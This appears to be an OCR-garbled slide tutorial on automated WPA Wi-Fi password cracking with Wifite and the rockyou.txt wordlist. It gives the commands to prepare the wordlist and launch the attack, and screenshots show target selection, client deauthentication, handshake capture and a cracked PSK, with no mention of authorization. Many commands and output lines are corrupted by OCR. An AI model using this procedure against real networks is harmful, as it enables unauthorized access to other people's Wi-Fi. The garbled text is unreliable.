Wifi
Hacking

Automated Wifi cracking with Wifite



Wifite

ifite aims to be the "set it and forget it" wireless auditing tool



Aim

We will be using the automated tool to crack WPA
passwords with the dictionary attack(using Rockyou.txt)




Prepare the dictionary file for Wifite. Locate the
dictionary file

Locate rockyou
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Now Un compress the file

gunzip /usr/share/wordlists/rockyou.txt.gz

Is /usr/share/wordlists/

fusr/share/wordlists/

rockyou.txt




Alternate Dictionaries

Best Alternate Word lists Collections.
v" https://weakpass.com/

v" https://github.com/danielmiessler/SecLists/tree/master/Pass
words/WiFi-WPA

v https://labs.nettitude.com/blog/rocktastic/
v https://github.com/kennyn510/wpa2-wordlists




Run Wifite with following arguments

Wifite -- wpa --kill --dict /usr/share/wordlists/rockyou.txt

Here :

Wpa informs that we are only looking for WPA networks

Kill flag will kill all processed that may hinder with the
cracking process

Rockyou.txt is the dictionary file




Run Wifite with following arguments

Wifite -- wpa --kill --dict /usr/share/wordlists/rockyou.txt

-t fusr/share/wordlists/rockyou. txt

a wireless auditor by dervﬂﬁ
maintained by kimocoder

kill conflicting processes enable:
using wordlist sr/share/wordlists/ro u.txt to crack WPA handshakes
targeting WPA-encrypted networks
L was not found. install @
was not found. install @ apt
was not found. install @




Once it Starts, Wifite will scan for the available networks.
Press CTRL+C to stop the scan and then select a target by
entering the target network number

[+] Scanning. Found 5 target(s), 5 client(s). Ctrl+C when ready "C
MNLUM ES5ID CH ENCR POWER WP5? CLIENT
WPA-P
WPA-P oG
WPA-P no

2 WPA-P
11 WPA-P no

[+] select target(s) (1-5) separated by commas, dashes or all:

[+] (1/1) Starting attacks against



Press CTRL+C and then C to skip other attacks till it
starts with the handshake capture process

attack(s) remain
Do you want to continue 1ttq-k1ng
( ) WPS PIN: [4m58s] S
Interrupted

or }7
ending EAPDL i &

attack(s) remain
Do you want to continue attacking, or {c, e)? ¢
(23db) WPS PIN Att : [25 PINs:1] (0.00%) Sending EAPOL “C
Interrupted

? attack(s) remain

Do you want to continue attacking, or s

JPlDDlnE PHRID attack, missing Iﬂqu1lﬂd tools:
( ) : Discovered new clie
( ) re: Discovered new client: 7
(11db) WPA H ture: Discovered new client: 7
( ) WPA H ture: Discovered new client:

( ]

: Listening. (clients:4, deauth:7s, Jrime : 'y |




Once the handshake is captured, Wifite will
automatically start cracking the handshake

[+#] saving copy of dsh: to

[#] analysis of captured handshake file:
[+] tshark: .cap file contains a valid handshake for c@:f

: .cap file contain a valid handshake

[+] ing Wi - ; Running airc: - with txt wordlist
[+] ] ETA: 2 175 @ 1375.4kps (current key: @



Once the handshake is cracked, it will automatically
show the cracked password on screen

Running aircrack-ng r txt wordlist
0 WPA Ha 3 ETA: 2! s @ 1 : (current key:
PA Hant ke PSK: p 172"

s Point Name: H
Point BSSID:
Encryption: WPZ
Handshake File:

PSK (password): Homeilz3d

saved crack result to crac . (1
Finished attacking 1 target(s), exiting
[ '] Note: Leaving interface in Monitor Mode!
] To disable Monitor Mode when finished:
] You can restart NetworkManager when finished
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